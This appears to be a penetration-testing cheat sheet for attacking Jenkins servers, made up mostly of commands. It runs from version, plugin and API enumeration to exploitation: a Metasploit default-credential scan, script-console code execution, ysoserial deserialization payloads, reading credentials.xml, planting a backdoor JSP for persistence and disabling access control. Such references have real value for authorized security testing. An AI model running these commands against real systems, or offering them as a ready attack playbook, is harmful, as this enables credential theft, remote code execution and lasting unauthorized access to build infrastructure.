Attacking Jenkins - Focused Commands & Key Points
1. Jenkins Version Detection:
curl -I http://<target>:8080/
Check HTTP headers for Jenkins version.
nmap -sV -p 8080 <target_ip>
Nmap version detection.
curl http://<target>:8080/jenkins/cli/ | grep -i "Jenkins CLI"
Check for Jenkins CLI.
2. Jenkins Port Enumeration:
Default Ports:
8080 (HTTP Web Interface)
50000 (Slave Communication, often overlooked)
nmap -sV -p 50000 <target_ip>
Identify slave communication port.
3. Jenkins CLI Enumeration:
java -jar jenkins-cli.jar -s http://<target>:8080/jenkins/ help
java -jar jenkins-cli.jar -s http://<target>:8080/jenkins/ list-plugins
java -jar jenkins-cli.jar -s http://<target>:8080/jenkins/ list-jobs
Enumerate jobs, plugins, and users via Jenkins CLI.
4. Jenkins Plugin Enumeration:
curl http://<target>:8080/jenkins/pluginManager/
List installed plugins (common vulnerability source).
5. Jenkins Security Realm Enumeration:
curl http://<target>:8080/jenkins/configureSecurity/
Identify authentication methods (Jenkins DB, LDAP, etc.).
6. Jenkins API Enumeration:
curl http://<target>:8080/jenkins/api/
curl http://<target>:8080/jenkins/api/json
Identify API endpoints that might expose sensitive data.
7. Jenkins Access Control Enumeration:
curl http://<target>:8080/jenkins/configureSecurity/
Identify misconfigurations in access control settings.
8. Jenkins Exploitation:
Exploiting Weak Credentials
Check for default credentials (
admin:admin
,admin:password
).
msf6 > use auxiliary/scanner/http/jenkins_login
msf6 auxiliary(scanner/http/jenkins_login) > set RHOSTS <target_ip>
msf6 auxiliary(scanner/http/jenkins_login) > run
Exploiting Script Console (Authenticated RCE)
java -jar jenkins-cli.jar -s http://<target>:8080/jenkins/ groovysh
println "Attacker Shell"
Gain RCE through Jenkins script console.
Exploiting Build Job Execution
curl -X POST http://<target>:8080/jenkins/job/test/build
Trigger a job execution for exploitation.
9. Jenkins Deserialization Vulnerabilities:
Use ysoserial to generate payloads.
java -jar ysoserial-all.jar CommonsCollections5 "<payload>" | base64
Inject payloads into vulnerable endpoints.
10. Jenkins Post-Exploitation & Persistence:
Extract Credentials from
credentials.xml
cat /var/lib/jenkins/credentials.xml
Establish Persistence:
cp backdoor.jsp /var/lib/jenkins/jobs/
Modify Access Control for Future Access:
jenkins.security.AuthorizationStrategy$Unsecured
Key Takeaways:
Jenkins Manager Access: RCE via Jenkins Script Console.
Weak Credentials: Default or weak credentials often present.
Plugin Enumeration: Plugins are a frequent source of vulnerabilities.
Jenkins API Exposure: Can expose sensitive information.
Access Control Issues: Misconfigurations lead to privilege escalation.
Deserialization Attacks: Exploit Java deserialization vulnerabilities.
Web Shell Persistence: Deploy malicious JSP for long-term access.
By structuring this guide effectively, it serves as a powerful reference for Jenkins security assessment and penetration testing.
Last updated